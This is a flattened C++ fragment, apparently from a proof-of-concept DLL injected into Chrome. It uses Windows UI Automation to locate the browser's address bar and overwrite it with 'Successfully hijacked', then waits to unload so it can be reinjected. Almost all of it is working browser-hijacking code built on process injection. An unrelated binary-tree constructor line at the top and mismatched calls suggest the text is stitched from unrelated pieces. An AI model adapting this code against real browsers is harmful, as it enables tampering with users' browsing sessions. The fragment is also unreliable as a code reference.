BinTree::BinTree(void) { root = NULL; buildFullTree(NUM_OF_LEVELS, 0, 0, 0,0, 0, 0); }
//This is the actual thread function //It will use the UI automation library to dump all UI elements of chrome //Then, once it found the address bar, it writes //"Successfully hijacked" into it. void asyncThreadFunction(void*) { logToFile("-------------------------------------"); logToFile("Injected"); //Init the UI Automation library if (!InitializeUIAutomation()) { logToFile("Failed to initialize UI Automation"); } //Define some elements required later IUIAutomationElement* root_element = nullptr; IUIAutomationElement* chromeWindow = nullptr; IUIAutomationCondition* condition = nullptr; IUIAutomationElementArray* foundArray = nullptr; //Get the root element auto hr = g_pAutomation->GetRootElement(&root_element); if (FAILED(hr) || root_element == nullptr) { logToFile("Failed root element"); logToFile("Error code: " + std::to_string(hr)); goto cleanup; } //As UI automation works on all processes, limit it to chrome VARIANT varProp; varProp.vt = VT_INT; varProp.intVal = GetCurrentProcessId(); hr = g_pAutomation->CreatePropertyCondition(UIA_ProcessIdPropertyId, varProp, &condition); VariantClear(&varProp); if (FAILED(hr) || condition == nullptr) { logToFile("Failed condition"); logToFile("Error code: " + std::to_string(hr)); goto cleanup; } //Find the "real root" element of chrome, it's window hr = root_element->FindFirst(TreeScope_Children, condition, &chromeWindow); SAFE_RELEASE(condition); if (FAILED(hr) || chromeWindow == nullptr) { logToFile("Failed chrome window"); logToFile("Error code: " + std::to_string(hr)); goto cleanup; } //Get the window name BSTR retVal; chromeWindow->get_CurrentName(&retVal); logToFile("Found chrome window successfully"); logToFile(retVal); //From here on, walk over all children UI elements hr = buildFullTree(chromeWindow); if (FAILED(hr)) { logToFile("Failed to build component tree"); logToFile("Error code: " + std::to_string(hr)); goto cleanup; } //Create the condition to find the address bar VARIANT varProp2; varProp2.vt = VT_INT; varProp2.intVal = UIA_EditControlTypeId; IUIAutomationCondition* editControlCondition = nullptr; IUIAutomationElement* foundElement = nullptr; hr = g_pAutomation->CreatePropertyCondition(UIA_ControlTypePropertyId, varProp2, &editControlCondition); if (FAILED(hr) || editControlCondition == nullptr) { logToFile("Failed to edit control condition"); logToFile("Error code: " + std::to_string(hr)); goto cleanup; } //The first element is typically the address bar hr = chromeWindow->FindFirst(TreeScope_Descendants, editControlCondition, &foundElement); SAFE_RELEASE(editControlCondition); if (FAILED(hr) || foundElement == nullptr) { logToFile("Failed to find edit control element"); logToFile("Error code: " + std::to_string(hr)); goto cleanup; } //Write "Successfully hijacked" into the address bar IValueProvider* valueProvider = nullptr; foundElement->GetCurrentPattern(UIA_ValuePatternId, reinterpret_cast<IUnknown**>(&valueProvider)); valueProvider->SetValue(L"Successfully hijacked"); cleanup: //Cleanup all used UI elements SAFE_RELEASE(root_element); SAFE_RELEASE(chromeWindow); SAFE_RELEASE(foundArray); SAFE_RELEASE(g_pAutomation); logToFile("Ejected"); logToFile("-------------------------------------"); //Wait for unload -> until flag is set from outside while (!unloadDll) { //This creates some beep sound after everything else finished Beep(1000, 1000); Sleep(1000L); } //Unload the DLL FreeLibrary(hThisDll); //Create possibility to reinject hThisDll = nullptr; hRemoteThread = nullptr; }